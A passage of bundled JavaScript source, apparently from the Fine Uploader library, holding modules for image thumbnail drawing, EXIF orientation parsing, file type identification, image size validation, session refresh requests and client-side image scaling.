    // code that draws this image to follow a convention that involves a\n        // function attached to the canvas instance be invoked when it is done.\n        canvas.qqImageRendered = function() {\n            promise.success(canvas);\n        };\n    }\n\n    // Fulfills a `qq.Promise` when an image has been drawn onto the target,\n    // whether that is a <canvas> or an <img>.  The attempt is considered a\n    // failure if the target is not an <img> or a <canvas>, or if the drawing\n    // attempt was not successful.\n    function registerThumbnailRenderedListener(imgOrCanvas, promise) {\n        var registered = isImg(imgOrCanvas) || isCanvas(imgOrCanvas);\n\n        if (isImg(imgOrCanvas)) {\n            registerImgLoadListeners(imgOrCanvas, promise);\n        }\n        else if (isCanvas(imgOrCanvas)) {\n            registerCanvasDrawImageListener(imgOrCanvas, promise);\n        }\n        else {\n            promise.failure(imgOrCanvas);\n            log(qq.format(\"Element container of type {} is not supported!\", imgOrCanvas.tagName), \"error\");\n        }\n\n        return registered;\n    }\n\n    // Draw a preview iff the current UA can natively display it.\n    // Also rotate the image if necessary.\n    function draw(fileOrBlob, container, options) {\n        var drawPreview = new qq.Promise(),\n            identifier = new qq.Identify(fileOrBlob, log),\n            maxSize = options.maxSize,\n            // jshint eqnull:true\n            orient = options.orient == null ? true : options.orient,\n            megapixErrorHandler = function() {\n                container.onerror = null;\n                container.onload = null;\n                log(\"Could not render preview, file may be too large!\", \"error\");\n                drawPreview.failure(container, \"Browser cannot render image!\");\n            };\n\n        identifier.isPreviewable().then(\n            function(mime) {\n                // If options explicitly specify that Orientation is not desired,\n                // replace the orient task with a dummy promise that \"succeeds\" immediately.\n                var dummyExif = {\n                        parse: function() {\n                            return new qq.Promise().success();\n                        }\n                    },\n                    exif = orient ? new qq.Exif(fileOrBlob, log) : dummyExif,\n                    mpImg = new qq.MegaPixImage(fileOrBlob, megapixErrorHandler);\n\n                if (registerThumbnailRenderedListener(container, drawPreview)) {\n                    exif.parse().then(\n                        function(exif) {\n                            var orientation = exif && exif.Orientation;\n\n                            mpImg.render(container, {\n                                maxWidth: maxSize,\n                                maxHeight: maxSize,\n                                orientation: orientation,\n                                mime: mime,\n                                resize: options.customResizeFunction\n                            });\n                        },\n\n                        function(failureMsg) {\n                            log(qq.format(\"EXIF data could not be parsed ({}).  Assuming orientation = 1.\", failureMsg));\n\n                            mpImg.render(container, {\n                                maxWidth: maxSize,\n                                maxHeight: maxSize,\n                                mime: mime,\n                                resize: options.customResizeFunction\n                            });\n                        }\n                    );\n                }\n            },\n\n            function() {\n                log(\"Not previewable\");\n                drawPreview.failure(container, \"Not previewable\");\n            }\n        );\n\n        return drawPreview;\n    }\n\n    function drawOnCanvasOrImgFromUrl(url, canvasOrImg, draw, maxSize, customResizeFunction) {\n        var tempImg = new Image(),\n            tempImgRender = new qq.Promise();\n\n        registerThumbnailRenderedListener(tempImg, tempImgRender);\n\n        if (isCrossOrigin(url)) {\n            tempImg.crossOrigin = \"anonymous\";\n        }\n\n        tempImg.src = url;\n\n        tempImgRender.then(\n            function rendered() {\n                registerThumbnailRenderedListener(canvasOrImg, draw);\n\n                var mpImg = new qq.MegaPixImage(tempImg);\n                mpImg.render(canvasOrImg, {\n                    maxWidth: maxSize,\n                    maxHeight: maxSize,\n                    mime: determineMimeOfFileName(url),\n                    resize: customResizeFunction\n                });\n            },\n\n            draw.failure\n        );\n    }\n\n    function drawOnImgFromUrlWithCssScaling(url, img, draw, maxSize) {\n        registerThumbnailRenderedListener(img, draw);\n        // NOTE: The fact that maxWidth/height is set on the thumbnail for scaled images\n        // that must drop back to CSS is known and exploited by the templating module.\n        // In this module, we pre-render \"waiting\" thumbs for all files immediately after they\n        // are submitted, and we must be sure to pass any style associated with the \"waiting\" preview.\n        qq(img).css({\n            maxWidth: maxSize + \"px\",\n            maxHeight: maxSize + \"px\"\n        });\n\n        img.src = url;\n    }\n\n    // Draw a (server-hosted) thumbnail given a URL.\n    // This will optionally scale the thumbnail as well.\n    // It attempts to use <canvas> to scale, but will fall back\n    // to max-width and max-height style properties if the UA\n    // doesn't support canvas or if the images is cross-domain and\n    // the UA doesn't support the crossorigin attribute on img tags,\n    // which is required to scale a cross-origin image using <canvas> &\n    // then export it back to an <img>.\n    function drawFromUrl(url, container, options) {\n        var draw = new qq.Promise(),\n            scale = options.scale,\n            maxSize = scale ? options.maxSize : null;\n\n        // container is an img, scaling needed\n        if (scale && isImg(container)) {\n            // Iff canvas is available in this UA, try to use it for scaling.\n            // Otherwise, fall back to CSS scaling\n            if (isCanvasSupported()) {\n                // Attempt to use <canvas> for image scaling,\n                // but we must fall back to scaling via CSS/styles\n                // if this is a cross-origin image and the UA doesn't support <img> CORS.\n                if (isCrossOrigin(url) && !isImgCorsSupported()) {\n                    drawOnImgFromUrlWithCssScaling(url, container, draw, maxSize);\n                }\n                else {\n                    drawOnCanvasOrImgFromUrl(url, container, draw, maxSize);\n                }\n            }\n            else {\n                drawOnImgFromUrlWithCssScaling(url, container, draw, maxSize);\n            }\n        }\n        // container is a canvas, scaling optional\n        else if (isCanvas(container)) {\n            drawOnCanvasOrImgFromUrl(url, container, draw, maxSize);\n        }\n        // container is an img & no scaling: just set the src attr to the passed url\n        else if (registerThumbnailRenderedListener(container, draw)) {\n            container.src = url;\n        }\n\n        return draw;\n    }\n\n    qq.extend(this, {\n        /**\n         * Generate a thumbnail.  Depending on the arguments, this may either result in\n         * a client-side rendering of an image (if a `Blob` is supplied) or a server-generated\n         * image that may optionally be scaled client-side using <canvas> or CSS/styles (as a fallback).\n         *\n         * @param fileBlobOrUrl a `File`, `Blob`, or a URL pointing to the image\n         * @param container <img> or <canvas> to contain the preview\n         * @param options possible properties include `maxSize` (int), `orient` (bool - default true), resize` (bool - default true), and `customResizeFunction`.\n         * @returns qq.Promise fulfilled when the preview has been drawn, or the attempt has failed\n         */\n        generate: function(fileBlobOrUrl, container, options) {\n            if (qq.isString(fileBlobOrUrl)) {\n                log(\"Attempting to update thumbnail based on server response.\");\n                return drawFromUrl(fileBlobOrUrl, container, options || {});\n            }\n            else {\n                log(\"Attempting to draw client-side image preview.\");\n                return draw(fileBlobOrUrl, container, options || {});\n            }\n        }\n    });\n\n    /*<testing>*/\n    this._testing = {};\n    this._testing.isImg = isImg;\n    this._testing.isCanvas = isCanvas;\n    this._testing.isCrossOrigin = isCrossOrigin;\n    this._testing.determineMimeOfFileName = determineMimeOfFileName;\n    /*</testing>*/\n};\n","/*globals qq */\n/**\n * EXIF image data parser.  Currently only parses the Orientation tag value,\n * but this may be expanded to other tags in the future.\n *\n * @param fileOrBlob Attempt to parse EXIF data in this `Blob`\n * @constructor\n */\nqq.Exif = function(fileOrBlob, log) {\n    \"use strict\";\n\n    // Orientation is the only tag parsed here at this time.\n    var TAG_IDS = [274],\n        TAG_INFO = {\n            274: {\n                name: \"Orientation\",\n                bytes: 2\n            }\n        };\n\n    // Convert a little endian (hex string) to big endian (decimal).\n    function parseLittleEndian(hex) {\n        var result = 0,\n            pow = 0;\n\n        while (hex.length > 0) {\n            result += parseInt(hex.substring(0, 2), 16) * Math.pow(2, pow);\n            hex = hex.substring(2, hex.length);\n            pow += 8;\n        }\n\n        return result;\n    }\n\n    // Find the byte offset, of Application Segment 1 (EXIF).\n    // External callers need not supply any arguments.\n    function seekToApp1(offset, promise) {\n        var theOffset = offset,\n            thePromise = promise;\n        if (theOffset === undefined) {\n            theOffset = 2;\n            thePromise = new qq.Promise();\n        }\n\n        qq.readBlobToHex(fileOrBlob, theOffset, 4).then(function(hex) {\n            var match = /^ffe([0-9])/.exec(hex),\n                segmentLength;\n\n            if (match) {\n                if (match[1] !== \"1\") {\n                    segmentLength = parseInt(hex.slice(4, 8), 16);\n                    seekToApp1(theOffset + segmentLength + 2, thePromise);\n                }\n                else {\n                    thePromise.success(theOffset);\n                }\n            }\n            else {\n                thePromise.failure(\"No EXIF header to be found!\");\n            }\n        });\n\n        return thePromise;\n    }\n\n    // Find the byte offset of Application Segment 1 (EXIF) for valid JPEGs only.\n    function getApp1Offset() {\n        var promise = new qq.Promise();\n\n        qq.readBlobToHex(fileOrBlob, 0, 6).then(function(hex) {\n            if (hex.indexOf(\"ffd8\") !== 0) {\n                promise.failure(\"Not a valid JPEG!\");\n            }\n            else {\n                seekToApp1().then(function(offset) {\n                    promise.success(offset);\n                },\n                function(error) {\n                    promise.failure(error);\n                });\n            }\n        });\n\n        return promise;\n    }\n\n    // Determine the byte ordering of the EXIF header.\n    function isLittleEndian(app1Start) {\n        var promise = new qq.Promise();\n\n        qq.readBlobToHex(fileOrBlob, app1Start + 10, 2).then(function(hex) {\n            promise.success(hex === \"4949\");\n        });\n\n        return promise;\n    }\n\n    // Determine the number of directory entries in the EXIF header.\n    function getDirEntryCount(app1Start, littleEndian) {\n        var promise = new qq.Promise();\n\n        qq.readBlobToHex(fileOrBlob, app1Start + 18, 2).then(function(hex) {\n            if (littleEndian) {\n                return promise.success(parseLittleEndian(hex));\n            }\n            else {\n                promise.success(parseInt(hex, 16));\n            }\n        });\n\n        return promise;\n    }\n\n    // Get the IFD portion of the EXIF header as a hex string.\n    function getIfd(app1Start, dirEntries) {\n        var offset = app1Start + 20,\n            bytes = dirEntries * 12;\n\n        return qq.readBlobToHex(fileOrBlob, offset, bytes);\n    }\n\n    // Obtain an array of all directory entries (as hex strings) in the EXIF header.\n    function getDirEntries(ifdHex) {\n        var entries = [],\n            offset = 0;\n\n        while (offset + 24 <= ifdHex.length) {\n            entries.push(ifdHex.slice(offset, offset + 24));\n            offset += 24;\n        }\n\n        return entries;\n    }\n\n    // Obtain values for all relevant tags and return them.\n    function getTagValues(littleEndian, dirEntries) {\n        var TAG_VAL_OFFSET = 16,\n            tagsToFind = qq.extend([], TAG_IDS),\n            vals = {};\n\n        qq.each(dirEntries, function(idx, entry) {\n            var idHex = entry.slice(0, 4),\n                id = littleEndian ? parseLittleEndian(idHex) : parseInt(idHex, 16),\n                tagsToFindIdx = tagsToFind.indexOf(id),\n                tagValHex, tagName, tagValLength;\n\n            if (tagsToFindIdx >= 0) {\n                tagName = TAG_INFO[id].name;\n                tagValLength = TAG_INFO[id].bytes;\n                tagValHex = entry.slice(TAG_VAL_OFFSET, TAG_VAL_OFFSET + (tagValLength * 2));\n                vals[tagName] = littleEndian ? parseLittleEndian(tagValHex) : parseInt(tagValHex, 16);\n\n                tagsToFind.splice(tagsToFindIdx, 1);\n            }\n\n            if (tagsToFind.length === 0) {\n                return false;\n            }\n        });\n\n        return vals;\n    }\n\n    qq.extend(this, {\n        /**\n         * Attempt to parse the EXIF header for the `Blob` associated with this instance.\n         *\n         * @returns {qq.Promise} To be fulfilled when the parsing is complete.\n         * If successful, the parsed EXIF header as an object will be included.\n         */\n        parse: function() {\n            var parser = new qq.Promise(),\n                onParseFailure = function(message) {\n                    log(qq.format(\"EXIF header parse failed: '{}' \", message));\n                    parser.failure(message);\n                };\n\n            getApp1Offset().then(function(app1Offset) {\n                log(qq.format(\"Moving forward with EXIF header parsing for '{}'\", fileOrBlob.name === undefined ? \"blob\" : fileOrBlob.name));\n\n                isLittleEndian(app1Offset).then(function(littleEndian) {\n\n                    log(qq.format(\"EXIF Byte order is {} endian\", littleEndian ? \"little\" : \"big\"));\n\n                    getDirEntryCount(app1Offset, littleEndian).then(function(dirEntryCount) {\n\n                        log(qq.format(\"Found {} APP1 directory entries\", dirEntryCount));\n\n                        getIfd(app1Offset, dirEntryCount).then(function(ifdHex) {\n                            var dirEntries = getDirEntries(ifdHex),\n                                tagValues = getTagValues(littleEndian, dirEntries);\n\n                            log(\"Successfully parsed some EXIF tags\");\n\n                            parser.success(tagValues);\n                        }, onParseFailure);\n                    }, onParseFailure);\n                }, onParseFailure);\n            }, onParseFailure);\n\n            return parser;\n        }\n    });\n\n    /*<testing>*/\n    this._testing = {};\n    this._testing.parseLittleEndian = parseLittleEndian;\n    /*</testing>*/\n};\n","/*globals qq */\nqq.Identify = function(fileOrBlob, log) {\n    \"use strict\";\n\n    function isIdentifiable(magicBytes, questionableBytes) {\n        var identifiable = false,\n            magicBytesEntries = [].concat(magicBytes);\n\n        qq.each(magicBytesEntries, function(idx, magicBytesArrayEntry) {\n            if (questionableBytes.indexOf(magicBytesArrayEntry) === 0) {\n                identifiable = true;\n                return false;\n            }\n        });\n\n        return identifiable;\n    }\n\n    qq.extend(this, {\n        /**\n         * Determines if a Blob can be displayed natively in the current browser.  This is done by reading magic\n         * bytes in the beginning of the file, so this is an asynchronous operation.  Before we attempt to read the\n         * file, we will examine the blob's type attribute to save CPU cycles.\n         *\n         * @returns {qq.Promise} Promise that is fulfilled when identification is complete.\n         * If successful, the MIME string is passed to the success handler.\n         */\n        isPreviewable: function() {\n            var self = this,\n                identifier = new qq.Promise(),\n                previewable = false,\n                name = fileOrBlob.name === undefined ? \"blob\" : fileOrBlob.name;\n\n            log(qq.format(\"Attempting to determine if {} can be rendered in this browser\", name));\n\n            log(\"First pass: check type attribute of blob object.\");\n\n            if (this.isPreviewableSync()) {\n                log(\"Second pass: check for magic bytes in file header.\");\n\n                qq.readBlobToHex(fileOrBlob, 0, 4).then(function(hex) {\n                    qq.each(self.PREVIEWABLE_MIME_TYPES, function(mime, bytes) {\n                        if (isIdentifiable(bytes, hex)) {\n                            // Safari is the only supported browser that can deal with TIFFs natively,\n                            // so, if this is a TIFF and the UA isn't Safari, declare this file \"non-previewable\".\n                            if (mime !== \"image/tiff\" || qq.supportedFeatures.tiffPreviews) {\n                                previewable = true;\n                                identifier.success(mime);\n                            }\n\n                            return false;\n                        }\n                    });\n\n                    log(qq.format(\"'{}' is {} able to be rendered in this browser\", name, previewable ? \"\" : \"NOT\"));\n\n                    if (!previewable) {\n                        identifier.failure();\n                    }\n                },\n                function() {\n                    log(\"Error reading file w/ name '\" + name + \"'.  Not able to be rendered in this browser.\");\n                    identifier.failure();\n                });\n            }\n            else {\n                identifier.failure();\n            }\n\n            return identifier;\n        },\n\n        /**\n         * Determines if a Blob can be displayed natively in the current browser.  This is done by checking the\n         * blob's type attribute.  This is a synchronous operation, useful for situations where an asynchronous operation\n         * would be challenging to support.  Note that the blob's type property is not as accurate as reading the\n         * file's magic bytes.\n         *\n         * @returns {Boolean} true if the blob can be rendered in the current browser\n         */\n        isPreviewableSync: function() {\n            var fileMime = fileOrBlob.type,\n                // Assumption: This will only ever be executed in browsers that support `Object.keys`.\n                isRecognizedImage = qq.indexOf(Object.keys(this.PREVIEWABLE_MIME_TYPES), fileMime) >= 0,\n                previewable = false,\n                name = fileOrBlob.name === undefined ? \"blob\" : fileOrBlob.name;\n\n            if (isRecognizedImage) {\n                if (fileMime === \"image/tiff\") {\n                    previewable = qq.supportedFeatures.tiffPreviews;\n                }\n                else {\n                    previewable = true;\n                }\n            }\n\n            !previewable && log(name + \" is not previewable in this browser per the blob's type attr\");\n\n            return previewable;\n        }\n    });\n};\n\nqq.Identify.prototype.PREVIEWABLE_MIME_TYPES = {\n    \"image/jpeg\": \"ffd8ff\",\n    \"image/gif\": \"474946\",\n    \"image/png\": \"89504e\",\n    \"image/bmp\": \"424d\",\n    \"image/tiff\": [\"49492a00\", \"4d4d002a\"]\n};\n","/*globals qq*/\n/**\n * Attempts to validate an image, wherever possible.\n *\n * @param blob File or Blob representing a user-selecting image.\n * @param log Uses this to post log messages to the console.\n * @constructor\n */\nqq.ImageValidation = function(blob, log) {\n    \"use strict\";\n\n    /**\n     * @param limits Object with possible image-related limits to enforce.\n     * @returns {boolean} true if at least one of the limits has a non-zero value\n     */\n    function hasNonZeroLimits(limits) {\n        var atLeastOne = false;\n\n        qq.each(limits, function(limit, value) {\n            if (value > 0) {\n                atLeastOne = true;\n                return false;\n            }\n        });\n\n        return atLeastOne;\n    }\n\n    /**\n     * @returns {qq.Promise} The promise is a failure if we can't obtain the width & height.\n     * Otherwise, `success` is called on the returned promise with an object containing\n     * `width` and `height` properties.\n     */\n    function getWidthHeight() {\n        var sizeDetermination = new qq.Promise();\n\n        new qq.Identify(blob, log).isPreviewable().then(function() {\n            var image = new Image(),\n                url = window.URL && window.URL.createObjectURL ? window.URL :\n                      window.webkitURL && window.webkitURL.createObjectURL ? window.webkitURL :\n                      null;\n\n            if (url) {\n                image.onerror = function() {\n                    log(\"Cannot determine dimensions for image.  May be too large.\", \"error\");\n                    sizeDetermination.failure();\n                };\n\n                image.onload = function() {\n                    sizeDetermination.success({\n                        width: this.width,\n                        height: this.height\n                    });\n                };\n\n                image.src = url.createObjectURL(blob);\n            }\n            else {\n                log(\"No createObjectURL function available to generate image URL!\", \"error\");\n                sizeDetermination.failure();\n            }\n        }, sizeDetermination.failure);\n\n        return sizeDetermination;\n    }\n\n    /**\n     *\n     * @param limits Object with possible image-related limits to enforce.\n     * @param dimensions Object containing `width` & `height` properties for the image to test.\n     * @returns {String || undefined} The name of the failing limit.  Undefined if no failing limits.\n     */\n    function getFailingLimit(limits, dimensions) {\n        var failingLimit;\n\n        qq.each(limits, function(limitName, limitValue) {\n            if (limitValue > 0) {\n                var limitMatcher = /(max|min)(Width|Height)/.exec(limitName),\n                    dimensionPropName = limitMatcher[2].charAt(0).toLowerCase() + limitMatcher[2].slice(1),\n                    actualValue = dimensions[dimensionPropName];\n\n                /*jshint -W015*/\n                switch (limitMatcher[1]) {\n                    case \"min\":\n                        if (actualValue < limitValue) {\n                            failingLimit = limitName;\n                            return false;\n                        }\n                        break;\n                    case \"max\":\n                        if (actualValue > limitValue) {\n                            failingLimit = limitName;\n                            return false;\n                        }\n                        break;\n                }\n            }\n        });\n\n        return failingLimit;\n    }\n\n    /**\n     * Validate the associated blob.\n     *\n     * @param limits\n     * @returns {qq.Promise} `success` is called on the promise is the image is valid or\n     * if the blob is not an image, or if the image is not verifiable.\n     * Otherwise, `failure` with the name of the failing limit.\n     */\n    this.validate = function(limits) {\n        var validationEffort = new qq.Promise();\n\n        log(\"Attempting to validate image.\");\n\n        if (hasNonZeroLimits(limits)) {\n            getWidthHeight().then(function(dimensions) {\n                var failingLimit = getFailingLimit(limits, dimensions);\n\n                if (failingLimit) {\n                    validationEffort.failure(failingLimit);\n                }\n                else {\n                    validationEffort.success();\n                }\n            }, validationEffort.success);\n        }\n        else {\n            validationEffort.success();\n        }\n\n        return validationEffort;\n    };\n};\n","/* globals qq */\n/**\n * Module used to control populating the initial list of files.\n *\n * @constructor\n */\nqq.Session = function(spec) {\n    \"use strict\";\n\n    var options = {\n        endpoint: null,\n        params: {},\n        customHeaders: {},\n        cors: {},\n        addFileRecord: function(sessionData) {},\n        log: function(message, level) {}\n    };\n\n    qq.extend(options, spec, true);\n\n    function isJsonResponseValid(response) {\n        if (qq.isArray(response)) {\n            return true;\n        }\n\n        options.log(\"Session response is not an array.\", \"error\");\n    }\n\n    function handleFileItems(fileItems, success, xhrOrXdr, promise) {\n        var someItemsIgnored = false;\n\n        success = success && isJsonResponseValid(fileItems);\n\n        if (success) {\n            qq.each(fileItems, function(idx, fileItem) {\n                /* jshint eqnull:true */\n                if (fileItem.uuid == null) {\n                    someItemsIgnored = true;\n                    options.log(qq.format(\"Session response item {} did not include a valid UUID - ignoring.\", idx), \"error\");\n                }\n                else if (fileItem.name == null) {\n                    someItemsIgnored = true;\n                    options.log(qq.format(\"Session response item {} did not include a valid name - ignoring.\", idx), \"error\");\n                }\n                else {\n                    try {\n                        options.addFileRecord(fileItem);\n                        return true;\n                    }\n                    catch (err) {\n                        someItemsIgnored = true;\n                        options.log(err.message, \"error\");\n                    }\n                }\n\n                return false;\n            });\n        }\n\n        promise[success && !someItemsIgnored ? \"success\" : \"failure\"](fileItems, xhrOrXdr);\n    }\n\n    // Initiate a call to the server that will be used to populate the initial file list.\n    // Returns a `qq.Promise`.\n    this.refresh = function() {\n        /*jshint indent:false */\n        var refreshEffort = new qq.Promise(),\n            refreshCompleteCallback = function(response, success, xhrOrXdr) {\n                handleFileItems(response, success, xhrOrXdr, refreshEffort);\n            },\n            requesterOptions = qq.extend({}, options),\n            requester = new qq.SessionAjaxRequester(\n                qq.extend(requesterOptions, {onComplete: refreshCompleteCallback})\n            );\n\n        requester.queryServer();\n\n        return refreshEffort;\n    };\n};\n","/*globals qq, XMLHttpRequest*/\n/**\n * Thin module used to send GET requests to the server, expecting information about session\n * data used to initialize an uploader instance.\n *\n * @param spec Various options used to influence the associated request.\n * @constructor\n */\nqq.SessionAjaxRequester = function(spec) {\n    \"use strict\";\n\n    var requester,\n        options = {\n            endpoint: null,\n            customHeaders: {},\n            params: {},\n            cors: {\n                expected: false,\n                sendCredentials: false\n            },\n            onComplete: function(response, success, xhrOrXdr) {},\n            log: function(str, level) {}\n        };\n\n    qq.extend(options, spec);\n\n    function onComplete(id, xhrOrXdr, isError) {\n        var response = null;\n\n        /* jshint eqnull:true */\n        if (xhrOrXdr.responseText != null) {\n            try {\n                response = qq.parseJson(xhrOrXdr.responseText);\n            }\n            catch (err) {\n                options.log(\"Problem parsing session response: \" + err.message, \"error\");\n                isError = true;\n            }\n        }\n\n        options.onComplete(response, !isError, xhrOrXdr);\n    }\n\n    requester = qq.extend(this, new qq.AjaxRequester({\n        acceptHeader: \"application/json\",\n        validMethods: [\"GET\"],\n        method: \"GET\",\n        endpointStore: {\n            get: function() {\n                return options.endpoint;\n            }\n        },\n        customHeaders: options.customHeaders,\n        log: options.log,\n        onComplete: onComplete,\n        cors: options.cors\n    }));\n\n    qq.extend(this, {\n        queryServer: function() {\n            var params = qq.extend({}, options.params);\n\n            options.log(\"Session query request.\");\n\n            requester.initTransport(\"sessionRefresh\")\n                .withParams(params)\n                .withCacheBuster()\n                .send();\n        }\n    });\n};\n","/* globals qq, ExifRestorer */\n/**\n * Controls generation of scaled images based on a reference image encapsulated in a `File` or `Blob`.\n * Scaled images are generated and converted to blobs on-demand.\n * Multiple scaled images per reference image with varying sizes and other properties are supported.\n *\n * @param spec Information about the scaled images to generate.\n * @param log Logger instance\n * @constructor\n */\nqq.Scaler = function(spec, log) {\n    \"use strict\";\n\n    var self = this,\n        customResizeFunction = spec.customResizer,\n        includeOriginal = spec.sendOriginal,\n        orient = spec.orient,\n        defaultType = spec.defaultType,\n        defaultQuality = spec.defaultQuality / 100,\n        failedToScaleText = spec.failureText,\n        includeExif = spec.includeExif,\n        sizes = this._getSortedSizes(spec.sizes);\n\n    // Revealed API for instances of this module\n    qq.extend(this, {\n        // If no targeted sizes have been declared or if this browser doesn't support\n        // client-side image preview generation, there is no scaling to do.\n        enabled: qq.supportedFeatures.scaling && sizes.length > 0,\n\n        getFileRecords: function(originalFileUuid, originalFileName, originalBlobOrBlobData) {\n            var self = this,\n                records = [],\n                originalBlob = originalBlobOrBlobData.blob ? originalBlobOrBlobData.blob : originalBlobOrBlobData,\n                identifier = new qq.Identify(originalBlob, log);\n\n            // If the reference file cannot be rendered natively, we can't create scaled versions.\n            if (identifier.isPreviewableSync()) {\n                // Create records for each scaled version & add them to the records array, smallest first.\n                qq.each(sizes, function(idx, sizeRecord) {\n                    var outputType = self._determineOutputType({\n                        defaultType: defaultType,\n                        requestedType: sizeRecord.type,\n                        refType: originalBlob.type\n                    });\n\n                    records.push({\n                        uuid: qq.getUniqueId(),\n                        name: self._getName(originalFileName, {\n                            name: sizeRecord.name,\n                            type: outputType,\n                            refType: originalBlob.type\n                        }),\n                        blob: new qq.BlobProxy(originalBlob,\n                        qq.bind(self._generateScaledImage, self, {\n                            customResizeFunction: customResizeFunction,\n                            maxSize: sizeRecord.maxSize,\n                            orient: orient,\n                            type: outputType,\n                            quality: defaultQuality,\n                            failedText: failedToScaleText,\n                            includeExif: includeExif,\n                            log: log\n                        }))\n                    });\n                });\n\n                records.push({\n                    uuid: originalFileUuid,\n                    name: originalFileName,\n                    size: originalBlob.size,\n                    blob: includeOriginal ? originalBlob : null\n                });\n            }\n            else {\n                records.push({\n                    uuid: originalFileUuid,\n                    name: originalFileName,\n                    size: originalBlob.size,\n                    blob: originalBlob\n                });\n            }\n\n            return records;\n        },\n\n        handleNewFile: function(file, name, uuid, size, fileList, batchId, uuidParamName, api) {\n            var self = this,\n                buttonId = file.qqButtonId || (file.blob && file.blob.qqButtonId),\n                scaledIds = [],\n                originalId = null,\n                addFileToHandler = api.addFileToHandler,\n                uploadData = api.uploadData,\n                paramsStore = api.paramsStore,\n                proxyGroupId = qq.getUniqueId();\n\n            qq.each(self.getFileRecords(uuid, name, file), function(idx, record) {\n                var blobSize = record.size,\n                    id;\n\n                if (record.blob instanceof qq.BlobProxy) {\n                    blobSize = -1;\n                }\n\n                id = uploadData.addFile({\n                    uuid: record.uuid,\n                    name: record.name,\n                    size: blobSize,\n                    batchId: batchId,\n                    proxyGroupId: proxyGroupId\n                });\n\n                if (record.blob instanceof qq.BlobProxy) {\n                    scaledIds.push(id);\n                }\n                else {\n                    originalId = id;\n                }\n\n                if (record.blob) {\n                    addFileToHandler(id, record.blob);\n                    fileList.push({id: id, file: record.blob});\n                }\n                else {\n                    uploadData.setStatus(id, qq.status.REJECTED);\n                }\n            });\n\n            // If we are potentially uploading an original file and some scaled versions,\n            // ensure the scaled versions include reference's to the parent's UUID and size\n            // in their associated upload requests.\n            if (originalId !== null) {\n                qq.each(scaledIds, function(idx, scaledId) {\n                    var params = {\n                        qqparentuuid: uploadData.retrieve({id: originalId}).uuid,\n                        qqparentsize: uploadData.retrieve({id: originalId}).size\n                    };\n\n                    // Make sure the UUID for each scaled image is sent with the upload request,\n                    // to be consistent (since we may need to ensure it is sent for the original file as well).\n                    params[uuidParamName] = uploadData.retrieve({id: scaledId}).uuid;\n\n                    uploadData.setParentId(scaledId, originalId);\n                    paramsStore.addReadOnly(scaledId, params);\n                });\n\n                // If any scaled images are tied to this parent image, be SURE we send its UUID as an upload request\n                // parameter as well.\n                if (scaledIds.length) {\n                    (function() {\n                        var param = {};\n                        param[uuidParamName] = uploadData.retrieve({id: originalId}).uuid;\n                        paramsStore.addReadOnly(originalId, param);\n                    }());\n                }\n            }\n        }\n    });\n};\n\nqq.extend(qq.Scaler.prototype, {\n    scaleImage: function(id, specs, api) {\n        \"use strict\";\n\n        if (!qq.supportedFeatures.scaling) {\n            throw new qq.Error(\"Scaling is not supported in this browser!\");\n        }\n\n        var scalingEffort = new qq.Promise(),\n            log = api.log,\n            file = api.getFile(id),\n            uploadData = api.uploadData.retrieve({id: id}),\n            name = uploadData && uploadData.name,\n            uuid = uploadData && uploadData.uuid,\n            scalingOptions = {\n                customResizer: specs.customResizer,\n                sendOriginal: false,\n                orient: specs.orient,\n                defaultType: specs.type || null,\n                defaultQuality: specs.quality,\n                failedToScaleText: \"Unable to scale\",\n                sizes: [{name: \"\", maxSize: specs.maxSize}]\n            },\n            scaler = new qq.Scaler(scalingOptions, log);\n\n        if (!qq.Scaler || !qq.supportedFeatures.imagePreviews || !file) {\n            scalingEffort.failure();\n\n            log(\"Could not generate requested scaled image for \" + id + \".  \" +\n                \"Scaling is either not possible in this browser, or the file could not be located.\", \"error\");\n        }\n        else {\n            (qq.bind(function() {\n                // Assumption: There will never be more than one record\n                var record = scaler.getFileRecords(uuid, name, file)[0];\n\n                if (record && record.blob instanceof qq.BlobProxy) {\n                    record.blob.create().then(scalingEffort.success, scalingEffort.failure);\n                }\n                else {\n                    log(id + \" is not a scalable image!\", \"error\");\n                    scalingEffort.failure();\n                }\n            }, this)());\n        }\n\n        return scalingEffort;\n    },\n\n    // NOTE: We cannot reliably determine at this time if the UA supports a specific MIME type for the target format.\n    // image/jpeg and image/png are the only safe choices at this time.\n    _determineOutputType: function(spec) {\n        \"use strict\";\n\n        var requestedType = spec.requestedType,\n            defaultType = spec.defaultType,\n            referenceType = spec.refType;\n\n        // If a default type and requested type have not been specified, this should be a\n        // JPEG if the original type is a JPEG, otherwise, a PNG.\n        if (!defaultType && !requestedType) {\n            if (referenceType !== \"image/jpeg\") {\n                return \"image/png\";\n            }\n            return referenceType;\n        }\n\n        // A specified default type is used when a requested type is not specified.\n        if (!requestedType) {\n            return defaultType;\n        }\n\n        // If requested type is specified, use it, as long as this recognized type is supported by the current UA\n        if (qq.indexOf(Object.keys(qq.Identify.prototype.PREVIEWABLE_MIME_TYPES), requestedType) >= 0) {\n            if (requestedType === \"image/tiff\") {\n                return qq.supportedFeatures.tiffPreviews ? requestedType : defaultType;\n            }\n\n            return requestedType;\n        }\n\n        return defaultType;\n    },\n\n    // Get a file name for a generated scaled file record, based on the provided scaled image description\n    _getName: function(originalName, scaledVersionProperties) {\n        \"use strict\";\n\n        var startOfExt = originalName.lastIndexOf(\".\"),\n            versionType = scaledVersionProperties.type || \"image/png\",\n            referenceType = scaledVersionProperties.refType,\n            scaledName = \"\",\n            scaledExt = qq.getExtension(originalName),\n            nameAppendage = \"\";\n\n        if (scaledVersionProperties.name && scaledVersionProperties.name.trim().length) {\n            nameAppendage = \" (\" + scaledVersionProperties.name + \")\";\n        }\n\n        if (startOfExt >= 0) {\n            scaledName = originalName.substr(0, startOfExt);\n\n            if (referenceType !== versionType) {\n                scaledExt = versionType.split(\"/\")[1];\n            }\n\n            scaledName += nameAppendage + \".\" + scaledExt;\n        }\n        else {\n            scaledName = originalName + nameAppendage;\n        }\n\n        return scaledName;\n    },\n\n    // We want the smallest scaled file to be uploaded first\n    _getSortedSizes: function(sizes) {\n        \"use strict\";\n\n        sizes = qq.extend([], sizes);\n\n        return sizes.sort(function(a, b) {\n            if (a.maxSize > b.maxSize) {\n                return 1;\n            }\n            if (a.maxSize < b.maxSize) {\n                return -1;\n            }\n            return 0;\n        });\n    },\n\n    _generateScaledImage: function(spec, sourceFile) {\n        \"use strict\";\n\n        var self = this,\n            customResizeFunction = spec.customResizeFunction,\n            log = spec.log,\n            maxSize = spec.maxSize,\n            orient = spec.orient,\n            type = spec.type,\n            quality = spec.quality,\n            failedText = spec.failedText,\n            includeExif = spec.includeExif && sourceFile.type === \"image/jpeg\" && type 